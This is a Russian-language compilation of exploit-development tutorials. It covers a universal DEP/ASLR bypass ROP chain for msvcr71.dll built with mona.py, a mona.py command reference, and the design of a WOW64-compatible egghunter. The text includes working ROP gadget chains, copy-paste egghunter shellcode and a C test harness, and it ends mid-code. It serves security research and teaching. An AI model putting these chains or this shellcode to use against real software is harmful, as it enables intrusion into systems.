    # sales: http://www.immunityinc.com/products-whitephosphorus.shtml

    print "WP> Building Sayonara - Universal ASLR and DEP bypass"

    size += 4  # bytes to shellcode after pushad esp ptr

    depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
    depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
    depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
    depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
    depBypass += pack('<L', 0x7C365645) # pop esi;ret;
    depBypass += pack('<L', 0x7C345243) # ret;
    depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
    depBypass += pack('<L', 0x7C3487EC) # call eax
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack("<i", -size)      # {size}
    depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
    depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
```

```
    depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
    depBypass += pack('<L', 0xFFFFFFC0) # {flag}
    depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
    depBypass += pack('<L', 0x7C354648) # pop edi;ret;
    depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
    depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
    depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
    depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
    depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
    depBypass += pack('<L', 0x7C36683F) # push esp;ret;

    print "WP> Universal Bypass Size: %d bytes" % len(depBypass)
    return depBypass
```

(22 двойных слова.)

Поводом послужили «инцидент» с программой вознаграждений Metasploit, опубликованный всего несколько часов назад материал Abysssec и тот факт, что Immunity уже раскрыла процедуру. Поэтому я решил самостоятельно изучить вопрос и проверить, можно ли построить альтернативный обход DEP/ASLR на основе `msvcr71.dll`.

Альтернативная версия с mona.py

Я подключил Immunity Debugger к приложению, загрузившему DLL, и воспользовался mona.py, чтобы создать базу ROP-гаджетов и сгенерировать ROP-цепочку.

Вариант White Phosphorus не содержит нулевых байтов, поэтому я постараюсь добиться того же.

Вот результат.

Использованная команда:

```
!mona rop -m msvcr71.dll -n
```

Через **17 секунд** я получил следующее:

```
rop_gadgets =
[
    0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
    0x7c37a140, # <- *&VirtualProtect()
    0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
    0x????????, # ** <- find routine to move virtualprotect() into esi
                # ** Hint: look for mov [esp+offset],eax and pop esi
    0x7c376402, # POP EBP # RETN (msvcr71.dll)
    0x7c345c30, # ptr to 'push esp # ret' (from msvcr71.dll)
    0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
    0xfffffdff, # value to negate, target value: 0x00000201, target: ebx
    0x7c351e05, # NEG EAX # RETN (msvcr71.dll)
    0x7c354901, # POP EBX # RETN (msvcr71.dll)
    0xffffffff, # pop value into ebx
    0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll)
    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
    0x7c34d201, # POP ECX # RETN (msvcr71.dll)
    0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7, # POP EDI # RETN (msvcr71.dll)
    0x7c34b8d8, # ROP NOP (-> edi)
    0x7c344f87, # POP EDX # RETN (msvcr71.dll)
    0xffffffc0, # value to negate, target value: 0x00000040, target: edx
    0x7c351eb1, # NEG EDX # RETN (msvcr71.dll)
    0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
    0x90909090, # NOPS (-> eax)
    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
    # rop chain generated by mona.py
    # note: this chain may not work out of the box
    # you may have to change order or fix some gadgets,
    # but it should give you a head start
```

```
].pack("V*")
```

Интересно: mona.py создала почти полную ROP-цепочку, используя указатели из `msvcr71.dll`.

Она немного длиннее варианта Immunity — поэтому да, версия White Phosphorus, скорее всего, лучше. Но я хотел лишь проверить, существует ли альтернатива.

В цепочке Mona не хватало только процедуры, которая перенесла бы адрес `VirtualProtect()` из `EAX` в `ESI`.

`mona.py` не нашла очевидных гаджетов наподобие `MOV ESI,EAX`, поэтому альтернативу пришлось искать вручную.

Однако, как подсказала Mona, достаточно найти гаджет, записывающий значение `EAX` на стек, чтобы затем забрать его в `ESI`.

Для этого, вероятно, понадобятся два или три гаджета: один для получения указателя стека, второй для записи значения на стек и третий для его извлечения через `POP ESI`.

Через несколько минут поиска в созданном файле `rop.txt` я нашёл два подходящих гаджета:

• `0x7c37591f`: `PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN`
• `0x7c376069`: `MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN`

Это должно сработать.

С помощью этих двух гаджетов можно записать указатель на `VirtualProtect()` в стек и забрать его в `ESI`. Более того, второй гаджет и записывает, и извлекает значение. Нужно лишь направить `ECX` в правильное место стека и обеспечить, чтобы `POP ESI` забрал его оттуда.

Обратите внимание: первый гаджет требует, чтобы `EAX` содержал действительный указатель на читаемую область. Для выполнения этого требования достаточно сначала загрузить в `EAX` читаемый адрес из `msvcr71.dll`.

После объединения всех частей цепочка выглядит так:

```
rop_gadgets =
[
    0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
    0x7c37a140, # Make EAX readable
    0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
    0x41414141, # EBP (filler)
    0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
    0x7c37a140, # <- *&VirtualProtect()
    0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
    0x7c346c0b, # Slide, so next gadget would write to correct stack location
    0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
    0x41414141, # EDI (filler)
    0x41414141, # will be patched at runtime (VP), then picked up into ESI
    0x41414141, # EBX (filler)
    0x7c376402, # POP EBP # RETN (msvcr71.dll)
    0x7c345c30, # ptr to 'push esp # ret' (from MSVCR71.dll)
    0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
    0xffffdff, # size 0x00000201 -> ebx, modify if needed
    0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
    0x7c354901, # POP EBX # RETN (MSVCR71.dll)
    0xffffffff, # pop value into ebx
    0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
    0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
    0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
    0x7c34b8d8, # ROP NOP (-> edi)
    0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
    0xffffffc0, # value to negate, target value: 0x00000040, target: edx
    0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
```

```
    0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
    0x90909090, # NOPS (-> eax)
    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    # rop chain generated with mona.py
].pack("V*")
```

31 двойное слово — на девять больше, чем в коммерческой версии White Phosphorus. Но это подтверждает мою мысль. На создание универсальной цепочки, обходящей DEP и ASLR, ушло меньше десяти минут.

Кстати, если вы не знали: при наличии других bad characters — например, если нужно исключить `\x0a` и `\x0d` — достаточно выполнить:

```
!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
```

и получить другие указатели. Да, всё настолько просто.

Заключение

Какой бы привлекательной и заманчивой ни казалась конкретная реализация, почти всегда может существовать альтернатива, а творческий подход часто приносит результат.

---

mona.py — руководство

corelanc0d3r, 2011-07-14

Введение

Mona — расширение отладчика, автоматизирующее повторяющиеся задачи разработки эксплойтов: анализ модулей, циклические шаблоны, сравнение недопустимых символов, поиск указателей, обнаружение SEH и разворотов стека, исследование кучи и создание ROP-цепочек.

В этом руководстве описывается исторический набор команд Mona для Immunity Debugger. Названия и принципы команд применимы и к более новым версиям Mona, однако точные параметры могут меняться; окончательным источником истины всегда служит `!mona help <command>` в установленной версии.

Загрузка mona.py

Загрузите `mona.py` и поместите его в каталог `PyCommands` Immunity Debugger, обычно:

```
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\mona.py
```

После установки или замены файла перезапустите Immunity Debugger.

Основы использования

Запускайте Mona из командной строки:

```
!mona <command> [options]
```

Вывод общей справки:

```
!mona
!mona help
!mona help <command>
```

Mona записывает подробные результаты в окно Log, а для крупных операций — в файлы рабочего каталога.

Обновление Mona

Если команда поддерживается, используйте:

```
!mona update
```

Она проверяет наличие новой версии сценария, загружает её и сообщает, требуется ли перезапуск отладчика.

Настройка окружения отладчика

Рабочий каталог

Задайте отдельный выходной каталог для процесса:

```
!mona config -set workingfolder c:\logs\%p
```

%p заменяется именем процесса. Раздельное хранение не позволяет шаблонам, массивам байтов и отчётам о гаджетах одной цели перезаписать данные другой.

Исключённые модули

Исключите модули, которые не следует искать:

```
!mona config -set excluded_modules module1.dll,module2.dll
```

Так можно удалить из широкого поиска нестабильные, нерелевантные, защищённые или заведомо непригодные модули.

Автор

Задайте имя автора для создаваемых каркасов эксплойтов и отчётов:

```
!mona config -set author "Researcher Name"
```

Глобальные параметры

Глобальные фильтры можно сочетать со многими командами.

-n: пропуск модулей

Исключает указанные модули из текущей команды:

```
!mona jmp -r esp -n module1.dll,module2.dll
```

-o: пропуск модулей операционной системы

```
!mona modules -o
```

Так вывод ограничивается модулями приложения. Принадлежность модуля ОС определяется по пути и метаданным Mona.

-p: шаблон имени модуля

Ограничивает модули шаблоном имени или пути:

```
!mona find -s "\xff\xe4" -p player
```

-m: явный список модулей

```
!mona jmp -r esp -m target.exe,codec.dll
```

-cm: характеристики модуля

Фильтрует по механизму защиты или свойству модуля. В зависимости от команды и версии Mona характеристики могут включать SafeSEH, ASLR, перемещение базы, принадлежность ОС и исполняемость.

```
!mona modules -cm aslr=false,safeseh=false
```

-cp: набор символов

Ограничивает результаты адресами или байтами, совместимыми с набором символов:

```
!mona jmp -r esp -cp ascii
!mona find -s "\xff\xe4" -cp alphanum
```

-cpb: недопустимые символы

Исключает адреса или созданные данные с запрещёнными байтами:

```
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

-x: уровень доступа

Ограничивает области поиска защитой памяти, например исполняемыми или доступными для записи страницами:

```
!mona find -s "w00t" -x rw
!mona find -s "\xff\xe4" -x x
```

Выходные файлы

Mona создаёт текстовые отчёты, двоичные массивы байтов, файлы шаблонов, предлагаемые каркасы эксплойтов, файлы ROP-гаджетов и цепочек. Окно Log обычно сообщает путь к каждому файлу.

Распространённые файлы:

```
modules.txt
pattern.txt
bytearray.bin
compare.txt
find.txt
```

```
seh.txt
rop.txt
rop_chains.txt
stackpivot.txt
suggest.txt
```

Не считайте автоматически созданный результат безопасным. Проверяйте в отладчике версию модуля, байты адреса, границы инструкций, побочные эффекты и механизмы защиты.

Команды

a

Псевдоним для ассемблирования инструкции:

```
!mona a jmp esp
```

Mona выводит байты опкода заданной ассемблерной инструкции.

assemble

```
!mona assemble -s "push esp#ret"
```

Ассемблирует одну или несколько инструкций. Допустимый разделитель зависит от версии; заключайте всю строку инструкций в кавычки.

bf

Устанавливает точки останова на функции или указатели функций по заданным критериям. Полезно при трассировке вызовов, найденных через импорт или сканирование указателей.

```
!mona bf -f kernel32!VirtualAlloc
```

bp

Управляет точками останова Mona по адресам или шаблонам.

```
!mona bp -a 0x41414141
```

Когда нужна точная семантика, используйте встроенные команды отладчика `bp`, `bu`, `ba` и `bl`.

bytearray

Создаёт двоичную последовательность для проверки недопустимых символов:

```
!mona bytearray
```

```
!mona bytearray -b "\x00\x0a\x0d"
```

Команда записывает массив байтов и его текстовое представление в рабочий каталог.

Поместите массив в эксплойт, остановитесь до его выполнения или обработки и сравните его с памятью.

compare

Сравнивает файл или созданный массив байтов с памятью:

```
!mona compare -f c:\logs\target\bytearray.bin -a 0x0012f000
```

Mona сообщает совпадения, изменённые байты, усечение и смещения. Это полезно для поиска недопустимых символов и неповреждённых копий шелл-кода.

После исключения подтверждённых плохих байтов заново создайте массив и повторите. Байт после первого повреждения может выглядеть неверно лишь потому, что предыдущий символ преобразовал или завершил данные.

config

Выводит или изменяет постоянные настройки Mona:

```
!mona config
!mona config -set workingfolder c:\logs\%p
!mona config -set author "Researcher"
!mona config -set excluded_modules bad.dll
```

dump

Записывает память в файл:

```
!mona dump -s 0x0012f000 -n 0x1000
```

Используйте байты дампа для автономного сравнения, дизассемблирования или воспроизведения.

egg

Создаёт egghunter и сведения о полезной нагрузке с меткой:

```
!mona egg -t w00t
!mona egg -t w00t -b "\x00\x0a\x0d"
```

Перед окончательной полезной нагрузкой дважды добавляется четырёхбайтовая метка. Проверяйте созданный охотник точно в целевом окружении ОС.

filecompare

Сравнивает два файла и сообщает различающиеся смещения:

```
!mona filecompare -f c:\tmp\original.bin -t c:\tmp\memory.bin
```

Позволяет обнаружить преобразования анализатора, не помещая оба потока байтов в память процесса.

find

Ищет байты или строки в памяти процесса либо выбранных модулях:

```
!mona find -s "\xff\xe4"
!mona find -s "w00t"
!mona find -s "\xff\xe4" -m target.dll -cpb "\x00\x0a"
```

Фильтруйте по уровню доступа и характеристикам модулей, чтобы уменьшить число ложных результатов.

findmsp

Ищет ссылки на циклический шаблон Metasploit в регистрах, стеке, записях SEH и памяти:

```
!mona findmsp
!mona findmsp -distance 5000
```

Отчёт показывает вероятные смещения до полей управления и регистров. Подтвердите каждое воспроизведением с маркерами.

findwild

Ищет последовательности инструкций с подстановочными знаками:

```
!mona findwild -s "pop r32#pop r32#ret"
```

Так можно искать семантические шаблоны без указания конкретных регистров.

getpc

Находит или создаёт последовательности GetPC, помещающие адрес относительно кода в регистр:

```
!mona getpc
```

GetPC полезен для позиционно-независимых декодеров и шелл-кода.

getiat

Находит указатели импортированных API в таблице импорта модуля:

```
!mona getiat -s kernel32.dll,VirtualProtect
!mona getiat -m target.exe
```

ROP-цепочки часто разыменовывают запись IAT вместо встраивания адреса API операционной системы.

header

Выводит сведения заголовка PE и характеристики защиты:

```
!mona header -m target.dll
```

Проверьте базу образа, секции, характеристики, сведения о перемещениях, SafeSEH, совместимость с NX и состояние DynamicBase.

heap

Исследует кучи, сегменты, фрагменты и связанные метаданные процесса:

```
!mona heap
!mona heap -h 0x00340000
!mona heap -a 0x00345678
```

Вывод зависит от платформы. Страничная куча, LFH, архитектура и версия Windows изменяют структуры и поведение.

help

```
!mona help
!mona help rop
```

Показывает синтаксис, параметры и примеры для установленной версии Mona.

info

Выводит сведения об адресе, модуле или указателе:

```
!mona info -a 0x7c801234
```

Результат может включать модуль-владелец, секцию, защиту памяти, характеристики указателя и соседние данные.

j

Короткий псевдоним исторических версий для поиска инструкций перехода, эквивалентный `jmp`.

```
!mona j -r esp
```

jmp

Находит указатели на инструкции передачи выполнения регистру:

```
!mona jmp -r esp
!mona jmp -r eax -m target.dll
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

Возможные последовательности: `JMP reg`, `CALL reg` и `PUSH reg / RET`.

jop

Ищет гаджеты и диспетчеры программирования, ориентированного на переходы:

```
!mona jop -m target.dll
```

JOP-цепочки используют косвенные переходы вместо `RET` как основной диспетчер. Вручную проверяйте управление и побочные эффекты.

jseh

Находит указатели для передачи SEH помимо классического `POP POP RET`, включая переходы относительно регистров и корректировки стека:

```
!mona jseh
!mona jseh -all
```

modules

Выводит загруженные модули и свойства механизмов защиты:

```
!mona modules
```

Столбцы могут включать базу, верхний адрес, размер, перемещение базы, SafeSEH, ASLR, совместимость с NX, принадлежность ОС и версию.

noaslr

Выводит модули без ASLR:

```
!mona noaslr
```

Проверяйте фактические базы после перезапусков. Один флаг заголовка не доказывает надёжность эксплойта.

nosafeseh

```
!mona nosafeseh
```

Выводит модули без SafeSEH, полезные при выборе обработчика SEH в соответствующих 32-разрядных системах.

nosafesehaslr

```
!mona nosafesehaslr
```

Объединяет предыдущие фильтры и находит модули без защиты SafeSEH и ASLR.

offset

Вычисляет расстояние между адресами или регистрами:

```
!mona offset -a1 0x0012f000 -a2 0x0012f100
```

При создании относительных переходов используйте знаковую интерпретацию.

p, p1 и p2

Исторические псевдонимы создания и анализа циклических шаблонов или поиска смещений. В документации и сценариях предпочтительнее явные команды ниже.

```
!mona p 5000
!mona p1 5000
!mona p2 0x41326341
```

pattern_create

Создаёт неповторяющийся циклический шаблон:

```
!mona pattern_create 5000
```

Mona записывает шаблон в файл и окно Log.

pattern_offset

Находит смещение значения в шаблоне:

```
!mona pattern_offset 0x41326341
```

Порядок байтов имеет значение. Mona может проверять варианты регистров и порядка байтов, но всегда сверяйте точные байты в памяти.

pc

Создаёт или исследует цепочки указателей в зависимости от исторической версии. По справке команды уточните глубину цепочки и параметры цели.

```
!mona help pc
```

po

Находит смещения указателей или связи «указатель на указатель», полезные для косвенного управления и анализа объектов.

```
!mona help po
```

rop

Ищет ROP-гаджеты в выбранных модулях и создаёт категоризированные отчёты:

```
!mona rop -m target.dll
!mona rop -m target.dll -cpb "\x00\x0a\x0d"
```

В отчётах гаджеты группируются по загрузке регистров, арифметике, записи в память, перемещению стека, вызовам и возвратам.

Созданные гаджеты — лишь кандидаты. Дизассемблируйте каждый адрес и учитывайте все `POP`, обращения к памяти, изменения флагов и `RET n`.

ropfunc

Находит указатели API и последовательности инструкций для стандартных цепочек обхода DEP:

```
!mona ropfunc -m target.dll
```

Типичные цели: `VirtualProtect`, `VirtualAlloc`, `WriteProcessMemory` и указатели импортированных функций.

seh

Находит совместимые с SafeSEH или незащищённые адреса `POP POP RET` для эксплуатации SEH:

```
!mona seh
!mona seh -m target.dll -cpb "\x00\x0a\x0d"
```

Отчёт учитывает защиту модулей и фильтры байтов адреса.

stackpivot

Находит гаджеты, перемещающие `ESP` в контролируемые данные или корректирующие его на полезную величину:

```
!mona stackpivot -m target.dll
!mona stackpivot -distance 0x200
```

Среди кандидатов: `ADD ESP,n / RET`, `XCHG reg,ESP`, `MOV ESP,reg` и последовательности из нескольких POP.

stacks

Исследует стеки потоков и ищет контролируемые данные или полезные указатели:

```
!mona stacks
```

Используйте вывод для сравнения границ стеков, текущих указателей и ссылок на шаблон между потоками.

suggest

Анализирует текущий сбой и предлагает направления разработки эксплойта:

```
!mona suggest
```

Mona ищет ссылки на циклический шаблон, перезаписанные регистры, состояние SEH, контролируемую память и вероятные смещения, а затем записывает каркас.

Не считайте предложения доказательством. Воспроизведите каждое смещение с маркерами и проверьте предложенный путь управления.

skeleton

Создаёт базовый шаблон сценария эксплойта с настроенным автором и метаданными цели:

```
!mona skeleton
```

Шаблон задаёт структуру смещений, адресов возврата, полезных нагрузок и доставки через файл или сеть. Замените заполнители значениями, подтверждёнными отладкой.

Metasploit

Mona дополняет инструменты Metasploit для шаблонов, полезных нагрузок, кодировщиков и модулей. Используйте Metasploit для создания шелл-кода или циклических данных, а Mona — для проверки их вида в целевом процессе.

Ошибки, запросы функций и вклад в проект

Исходная статья направляет пользователей на сайт проекта Mona для сообщений об ошибках, исходного кода и участия в разработке.

В сообщении об ошибке указывайте версию Mona и отладчика, архитектуру цели, командную строку, вывод журнала, сведения о модулях и минимальный пример воспроизведения.

Обучение разработке эксплойтов

Mona автоматизирует поиск и учёт, но не заменяет понимание кадров стека, диспетчеризации исключений, поведения кучи, соглашений о вызовах, побочных эффектов инструкций и механизмов защиты.

Получение помощи

Сначала используйте справку конкретной команды, а при обращении за помощью приводите точный вывод и сведения об окружении.

Mona в интернете

Исходное руководство ссылается на сайт Corelan, исходный код проекта, документацию и каналы сообщества. Поскольку Mona развивается, сравнивайте это историческое руководство с документацией установленной версии.

Egghunter для WoW64

Corelan Team (Lincoln), 2011-11-18

Традиционный egghunter

Egghunter — это ассемблерная процедура, которая находит шелл-код в памяти процесса. Обычно её применяют, когда буфер, куда первоначально перенаправляется выполнение, слишком мал для всей полезной нагрузки, но шелл-код можно разместить в другом месте.

У egghunter две основные задачи:

• Найти и выполнить шелл-код с меткой.
• Пережить попытки чтения недоступной памяти.

В учебном материале Питера о поиске яйца в Win32 эта техника рассматривается подробно. Данная статья посвящена охотнику на основе системного вызова от Skape из работы Safely Searching Process Virtual Address Space.

Традиционный охотник проверяет память с помощью `NtAccessCheckAndAuditAlarm` и перед чтением адреса-кандидата проверяет возвращённое состояние:

```
or dx, 0x0fff          ; Move to the last address of the page.
inc edx                ; Advance to the next address.
push edx               ; Preserve the search pointer.
push byte 0x2          ; NtAccessCheckAndAuditAlarm syscall number.
pop eax
int 0x2e               ; Enter the kernel.
cmp al, 0x5            ; STATUS_ACCESS_VIOLATION low byte.
pop edx
je page_next
mov eax, 0x50905090    ; Egg tag.
mov edi, edx
scasd
jnz address_next
scasd
jnz address_next
jmp edi
```

Перед `int 0x2e` регистр EAX содержит номер запрашиваемого системного вызова. Прерывание переключает выполнение из пользовательского режима в режим ядра. Заглушка системного вызова может использовать как `int 0x2e`, так и `sysenter`, хотя последний вариант требует дополнительной работы.

Когда 64-разрядная Windows стала широко распространённой, многие приложения оставались 32-разрядными и выполнялись внутри слоя совместимости WOW64. Эксплуатация такого процесса в целом похожа на эксплуатацию процесса в нативной 32-разрядной Windows, но переход для системных вызовов устроен иначе.

Время исследований

При запуске `wow64.dll` загружает x86-версию `ntdll.dll`, инициализация которой загружает необходимые 32-разрядные DLL. Чтобы проверить существующий охотник, скомпилируйте эту 32-разрядную программу на C и запустите её в 64-разрядной Windows. Включение `VirtualProtect`

позволяет тесту работать, когда DEP находится в режиме OptOut или AlwaysOn. Перед небольшой демонстрационной полезной нагрузкой расположена двойная метка `w00t`, а точки останова перед меткой предотвращают случайное сквозное выполнение.

```
#include <cstdlib>
#include <iostream>
#include <windows.h>

using namespace std;

char code[] =
    // Traditional 32-bit egg hunter.
    "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E"
    "\x3C\x05\x5A\x74\xEF\xB8"
    "\x77\x30\x30\x74"  // w00t
    "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

    // Placeholder payload.
    "\xcc\xcc\xcc\xcc\x77\x30\x30\x74"
    "\x77\x30\x30\x74\x41\x42\x43\x44\xcc";

int main(int argc, char **argv)
{
    DWORD old;
    VirtualProtect(&code, 500, PAGE_EXECUTE_READWRITE, &old);
    int (*func)();
    func = (int (*)())code;
    return (*func)();
}
```

Сеанс 64-разрядного WinDBG показывает как нативные модули, так и модули WOW64:

```
ModLoad: 00000000`77910000 00000000`77ab9000 ntdll.dll
ModLoad: 00000000`77af0000 00000000`77c70000 ntdll32.dll
ModLoad: 00000000`75130000 00000000`7516f000 C:\Windows\SYSTEM32\wow64.dll
ModLoad: 00000000`750d0000 00000000`7512c000 C:\Windows\SYSTEM32\wow64win.dll
ModLoad: 00000000`750c0000 00000000`750c8000 C:\Windows\SYSTEM32\wow64cpu.dll
ModLoad: 00000000`766e0000 00000000`767f0000 C:\Windows\syswow64\kernel32.dll
```

Установите точку останова в начале охотника и выполните трассировку. Вместо обычного для нативной 32-разрядной Windows поведения `int 0x2e` вызывает нарушение доступа:

Заглушки системных вызовов WOW64 вместо этого вызывают адрес, хранящийся в TEB по смещению `0xC0`:

![32-разрядная заглушка WOW64, вызывающая FS:[0xC0]](img/2011-11-18-wow64-egghunter-04-fs-c0-call.png)

Это поле называется `WOW32Reserved`. Переход по нему приводит к дальнему переходу в 64-разрядный режим:

```
0:000:x86> u wow64cpu!X86SwitchTo64BitMode
wow64cpu!X86SwitchTo64BitMode:
74952320 ea1e2795743300  jmp 0033:7495271E
```

Создание egghunter для WOW64

Дизассемблирование 32-разрядной заглушки `NtAccessCheckAndAuditAlarm` показывает необходимую подготовку:

```
0:000:x86> u ntdll32!NtAccessCheckAndAuditAlarm
ntdll32!NtAccessCheckAndAuditAlarm:
7715fc58 b826000000      mov  eax,26h
```

```
7715fc5d 33c9            xor  ecx,ecx
7715fc5f 8d542404        lea  edx,[esp+4]
7715fc63 64ff15c0000000  call dword ptr fs:[0C0h]
7715fc6a 83c404          add  esp,4
7715fc6d c22c00          ret  2Ch
```

Первый каркас выглядит так:

```
[BITS 32]

egg:
    or dx, 0x0fff
    inc edx
    push edx
    push byte 38             ; NtAccessCheckAndAuditAlarm, 0x26.
    pop eax
    xor ecx, ecx
    mov edx, esp             ; Parameter array on the stack.
    call dword [fs:0xc0]
    pop esi
    pop edx
    cmp al, 5
    je egg
    mov eax, 0x74303077      ; w00t.
    mov edi, edx
    scasd
    jnz egg + 5
    scasd
    jnz egg + 5
    jmp edi
```

NASM создаёт:

```
(
    "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x26\x58\x31\xC9\x89\xE2"
    "\x64\xFF\x15\xC0\x00\x00\x00\x5E\x5A\x3C\x05\x74\xE5\xB8"
    "\x77\x30\x30\x74\x89\xD7\xAF\x75\xE0\xAF\x75\xDD\xFF\xE7"
)
```

Этот черновой вариант содержит нулевые байты и, что ещё важнее, неправильно подготавливает некоторые аргументы в стеке. Журнал исключений Immunity показывает, что память проверяется не последовательно:

Трассировка `wow64!whNtAccessCheckAndAuditAlarm` показывает, что функция читает полную структуру параметров. Если предоставить только целевой адрес, значениями остальных аргументов станут посторонние данные из стека. В конечном счёте вызов достигает нативной функции `ntdll!ZwAccessCheckAndAuditAlarm`:

```
ntdll!ZwAccessCheckAndAuditAlarm:
00000000`779615a0 4c8bd1  mov r10,rcx
00000000`779615a3 b826000000 mov eax,26h
00000000`779615a8 0f05    syscall
00000000`779615aa c3      ret
```

Адрес `0x8f000` доступен для чтения, а `0x9000` — нет:

```
0:000:x86> u 9000
00009000 ?? ???
^ Memory access error in 'u 9000'
```

Обёртка перед разыменованием сравнивает свой первый параметр с нулём:

```
wow64!whNtAccessCheckAndAuditAlarm+0x5d:
00000000`75145d05 33db  xor ebx,ebx
00000000`75145d07 3919  cmp dword ptr [rcx],ebx
00000000`75145d09 7420  je  wow64!whNtAccessCheckAndAuditAlarm+0x83
```

Когда целевой адрес равен `0x9000`, инструкция `mov eax,[rcx+4]` вызывает сбой по адресу `0x9004`. Передача исключения возвращает управление 32-разрядному процессу, причём AL равен `0x05`:

После этого охотник может перейти к следующей странице. Если начать поиск со значения EDX рядом с загруженным образом, в конечном счёте будет найдена двойная метка:

При проверке требуется следующая структура стека:

```
<address to test>
0x00000000
0x00000000
0x00000000
0x00000000
```

Требуемые значения регистров:

• EAX: `0x26` — номер `NtAccessCheckAndAuditAlarm` в Windows 7.
• ECX: ноль.
• EDX: адрес блока параметров в стеке; перед вызовом устанавливается равным ESP.
• EBX: `0xC0`, выбирает `FS:[0xC0]`.

EBX не изменяется при переходе между режимами. Если один раз обнулить его, поместить в стек четыре раза, а затем установить BL равным `0xC0`, можно подготовить нулевые параметры, избежав нулевых байтов в самом охотнике.

Получившийся 47-байтовый охотник только для WOW64 выглядит так:

```
char code[] =
    "\x31\xdb"                  // xor ebx, ebx
    "\x53\x53\x53\x53"      // four null parameters
    "\xb3\xc0"                  // mov bl, 0xc0
    "\x66\x81\xca\xff\x0f"  // or dx, 0x0fff
    "\x42\x52"                  // inc edx; push edx
    "\x6a\x26\x58"            // eax = 0x26
    "\x33\xc9"                  // xor ecx, ecx
    "\x8b\xd4"                  // mov edx, esp
    "\x64\xff\x13"            // call dword ptr fs:[ebx]
    "\x5e\x5a"                  // restore stack and search pointer
    "\x3c\x05\x74\xe9"        // inaccessible: next page
    "\xb8\x77\x30\x30\x74"  // w00t
    "\x8b\xfa\xaf\x75\xe4"
    "\xaf\x75\xe1\xff\xe7";
```

Универсальный охотник для нативной x86 и WOW64

Предыдущая процедура работает только под WOW64. В 32-разрядном процессе WOW64 значение CS равно `0x23`, поэтому небольшая проверка архитектуры позволяет выбрать либо традиционный путь `int 0x2e`, либо переход WOW64.

Обнуление EDX может ускорить поиск, однако запуск с нуля способен в конечном счёте достичь конца памяти пользовательского режима и завершиться по тайм-ауту, если яйцо не будет найдено раньше. При необходимости задайте в EDX подходовую начальную позицию.

```
[BITS 32]

check:
    mov bx, cs
    cmp bl, 0x23
    jnz egg

stub:
    xor ebx, ebx
```

```
    push ebx
    push ebx
    push ebx
    push ebx
    mov bl, 0xc0

egg:
    or dx, 0x0fff
    inc edx
    push edx
    cmp bl, 0xc0
    je egg_64

egg_32:
    push byte 2
    pop eax
    int 0x2e
    pop edx

egg_end:
    cmp al, 5
    je egg
    mov eax, 0x74303077
    mov edi, edx
    scasd
    jnz egg + 5
    scasd
    jnz egg + 5
    jmp edi

egg_64:
    push byte 38
    pop eax
    xor ecx, ecx
    mov edx, esp
    call dword [fs:ebx]
    pop ecx
    pop edx
    jmp short egg_end
```

Опкоды для копирования и вставки:

```
egghunter = (
    "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
    "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
    "\x2e\x5a\x3c\x05\x74\xea\xb8"
    "\x77\x30\x30\x74"  # w00t tag
    "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
    "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
)
```

Исходный код, совместимый с Metasm:

```
egg_asm = %Q|
check:
    mov bx, cs
    cmp bl, 0x23
